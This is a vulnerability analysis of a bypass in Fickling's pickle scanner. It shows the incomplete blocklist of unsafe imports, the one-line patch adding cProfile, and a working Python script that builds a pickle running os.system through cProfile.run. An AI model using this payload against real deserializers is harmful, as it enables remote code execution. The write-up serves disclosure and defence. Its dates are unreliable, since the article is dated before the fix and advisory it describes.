CVE-2026-22607

Death by Profiler: Bypassing Fickling's Pickle Analyzer

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 10, 2026·6 min read

Executive Summary (TL;DR)

Trail of Bits' Fickling tool uses a blocklist to detect dangerous pickle opcodes. They forgot that `cProfile.run()` is essentially a wrapper for `exec()`. Attackers can use this to hide RCE payloads inside what looks like a benign performance test, bypassing security checks entirely.

Fickling, a prominent security tool for analyzing Python pickle files, failed to blacklist the `cProfile` module. This oversight allowed attackers to craft malicious pickles that executed arbitrary code via `cProfile.run()`, bypassing Fickling's 'Overtly Malicious' detection logic.

The Hook: Pickles, Lies, and Static Analysis

Python's pickle module is the gift that keeps on giving for security researchers. It is essentially a stack-based virtual machine capable of executing arbitrary code during deserialization. The industry standard advice is 'never unpickle untrusted data,' but let's be honest: nobody listens. To mitigate the inevitable disasters, Trail of Bits released Fickling, a static analyzer and decompiler designed to look at a pickle stream and say, 'Whoa there, buddy, that looks like a shell command.'

Fickling works by decompiling the pickle bytecode into an Abstract Syntax Tree (AST) and then running heuristic checks against it. It tries to classify pickles into categories like Safe, Suspicious, or Overtly Malicious. The idea is simple: if the pickle tries to import os.system or subprocess.Popen, flag it as malicious. It's a noble goal—a safety net for developers walking the tightrope of serialization.

But here is the problem with safety nets: if there is a hole in the mesh, you still hit the ground. CVE-2026-22607 is exactly that hole. It turns out that Python, being the incredibly dynamic language that it is, has dozens of ways to execute code beyond the obvious ones. The developers blocked the front door (os, sys, eval), but they left the side window wide open. That window was cProfile.

The Flaw: The Curse of the Blocklist

The vulnerability stems from a fundamental limitation of blocklist-based security: enumeration is hard. Fickling maintains a list of 'unsafe imports'—modules known to be dangerous sinks. Prior to version 0.1.7, this list included the usual suspects like os, subprocess, and eval. However, it missed cProfile.

For those who only use it for optimization, cProfile seems harmless. It measures how long your functions take to run. But if you read the docs (or are a devious hacker), you will notice cProfile.run(statement, ...). This function takes a string as its first argument and executes it. Internally, cProfile.run() passes that string directly to Python's built-in exec().

This means cProfile.run('import os; os.system("sh")') is functionally identical to calling exec(), but with a layer of indirection that Fickling's static analyzer didn't recognize. Because cProfile wasn't on the naughty list, Fickling saw the import, shrugged, and marked the pickle as merely SUSPICIOUS (a generic warning) rather than OVERTLY_MALICIOUS. In automated pipelines where SUSPICIOUS is often tolerated or ignored, this distinction is the difference between a blocked attempt and a compromised server.

The Code: Adding One Item to the List

The fix for this vulnerability is almost comically simple, which highlights the fragility of the approach. The patch (Commit dc8ae12966edee27a78fe05c5745171a2b138d43) simply adds a single string to a list in fickling/fickle.py.

Here is the vulnerable code in the unsafe_imports method:

# Before the patch (simplified)
def unsafe_imports(self) -> Iterator[ast.Import | ast.ImportFrom]:
    for node in self._ast_module.body:
        # ... AST traversal logic ...
        if name in (
            "os",
            "sys",
            "subprocess",
            "eval",
            "exec",
            "marshal",
            "types",
            "runpy",
            # ... cProfile is missing ...
        ):
            yield node

And here is the patch that closed the hole:

             "marshal",
             "types",
             "runpy",
+            "cProfile",
         ):
             yield node

That plus sign represents the difference between a secure system and a shell. By adding cProfile, the analyzer now correctly identifies any pickle importing this module as a high-severity threat. It’s effective, but it begs the question: what about profile? What about timeit? What about pdb? The game of whack-a-mole continues.

The Exploit: Crafting the Poisoned Pickle

To exploit this, we don't need complex memory corruption. We just need to speak the language of the Pickle machine. A pickle file is just a stream of opcodes. We want to tell the machine to:

  1. Import the module cProfile.
  2. Load the attribute run.
  3. Call that function with our malicious payload string.

Here is what that looks like in Python code to generate the byte stream:

import pickle
 
# The payload we want to execute
command = 'import os; os.system("id > /tmp/pwned")'
 
# Constructing the pickle manually to emulate the bypass
# PROTO 5
payload = b'\x80\x05'
# GLOBAL opcode (import cProfile.run)
payload += b'\x8c\x08cProfile\x94\x8c\x03run\x94\x93\x94'
# String argument (our command)
payload += b'\x8c' + bytes([len(command)]) + command.encode() + b'\x94'
# TUPLE1 opcode (create argument tuple)
payload += b'\x85\x94'
# REDUCE opcode (call the function)
payload += b'R\x94'
# STOP opcode
payload += b'.'
 
print(f"Malicious Pickle: {payload}")

When Fickling <= 0.1.6 scans this, it parses the GLOBAL opcode for cProfile.run. It checks its internal list. It doesn't see cProfile. It moves on. When the target application deserializes this data using pickle.load(), cProfile.run() executes the string, os.system is invoked, and the attacker wins.

The Impact: Why This Matters

You might argue, 'If you are unpickling untrusted data, you are already dead.' While true, tools like Fickling exist specifically for scenarios where organizations must handle risky data, or for security researchers analyzing malware.

If a security operations center (SOC) uses Fickling to triage suspicious files, this bypass allows malware to sail right through the analysis pipeline. If a web application uses Fickling as a pre-validation step before deserializing a user session (a terrible idea, but it happens), this vulnerability turns a 'secure' validation step into a welcome mat.

This is a classic Remote Code Execution (RCE). The attacker runs code with the privileges of the Python process. In cloud environments, this often leads to container escape, IAM credential theft, or lateral movement. The CVSS score of 9.3 reflects the severity: no authentication required, network accessible, total compromise of confidentiality, integrity, and availability.

Mitigation: Patching and Lessons Learned

The immediate fix is to update fickling to version 0.1.7 or higher. This version includes the updated blocklist.

However, the broader lesson here is about defense in depth. Relying on static analysis to sanitize input for an unsafe deserialization mechanism is inherently risky. Static analysis of dynamic languages is prone to evasion (obfuscation, dynamic imports, getattr chaining).

Strategic Recommendations:

  1. Stop using Pickle for data exchange. Use JSON, Protobuf, or MsgPack. They are faster, smaller, and don't include a built-in virtual machine capable of formatting your hard drive.
  2. Sandbox Execution: If you must analyze pickles, do it in a disposable VM or a gVisor-sandboxed container. Assume the analyzer might fail.
  3. Sign Your Pickles: If you control both ends of the communication, use cryptographic signatures (HMAC) to verify the integrity of the pickle before attempting to load it.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.12%
Top 100% most exploited

Affected Systems

Fickling < 0.1.7Systems relying on Fickling for malware detectionApplications using Fickling as a security gate for deserialization

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
Trail of Bits
< 0.1.70.1.7
AttributeDetail
CVE IDCVE-2026-22607
CVSS v3.19.3 (Critical)
CWECWE-184 (Incomplete Blocklist)
Attack VectorNetwork (deserialization)
Affected ProductTrail of Bits Fickling
ImpactRemote Code Execution (RCE)
CWE-184
Incomplete List of Disallowed Inputs

The software maintains a list of prohibited inputs or modules but fails to include all dangerous items, allowing an attacker to bypass security checks.

Vulnerability Timeline

Fix committed to GitHub
2026-02-14
Advisory published
2026-02-15
Version 0.1.7 released
2026-02-15

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.